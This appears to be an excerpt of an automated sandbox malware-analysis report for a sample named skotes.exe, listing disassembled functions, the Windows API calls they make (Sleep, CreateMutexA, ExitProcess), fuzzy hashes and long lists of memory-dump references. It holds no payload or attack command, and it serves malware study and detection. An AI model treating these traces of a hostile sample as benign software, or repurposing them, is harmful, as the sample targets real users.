Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Analysis Process: skotes.exePID: 6504, Parent PID: 5432COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	591
Total number of Limit Nodes:	4

Executed Functions

Function 00BB652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BB652A,?,?,?,?,?,00BB7661), ref: 00BB6566

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ee66edc4a77679472b12ecfd0c62d1467b95bfa4621d8a7ce58707107f5663e7
Instruction ID: f8b74af44a99d2dfb94bfc825478ce507444254fdb204e36d1b1a8a912aeec72
Opcode Fuzzy Hash: ee66edc4a77679472b12ecfd0c62d1467b95bfa4621d8a7ce58707107f5663e7
Instruction Fuzzy Hash: 36E0863004610C6FCE36BB28C905AAC3B99FF21745F000851F9054A125CBA9EDD2C540

Function 00B89BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c2bd058d45aefd56c1424f4edf685d4074b60c1e529197baaf580e426b3228c7
Instruction ID: 85b4aa6e8aedcf5f8ddeee092c576ef316c379cd21cb6e39034d4b5a5da3ac85
Opcode Fuzzy Hash: c2bd058d45aefd56c1424f4edf685d4074b60c1e529197baaf580e426b3228c7
Instruction Fuzzy Hash: 2F3128316082049BFF08EB78DDC9B6DBBE2EB86314F244299E014D73E6D7769980C751

Function 00B89F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 70fdbaa68036138cf137eee49e190ca9bae62ccce0a4f4972c2d8bf8afe70e45
Instruction ID: 36d6c00833710eb1f0324539eea74aaabd8e27d67df937d2edc2e1fdba054f8f
Opcode Fuzzy Hash: 70fdbaa68036138cf137eee49e190ca9bae62ccce0a4f4972c2d8bf8afe70e45
Instruction Fuzzy Hash: 373168316041009BFF08EB78DC997ACB7E2EB86314F24429AE118DB2E5D735A980C752

Function 00B8A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
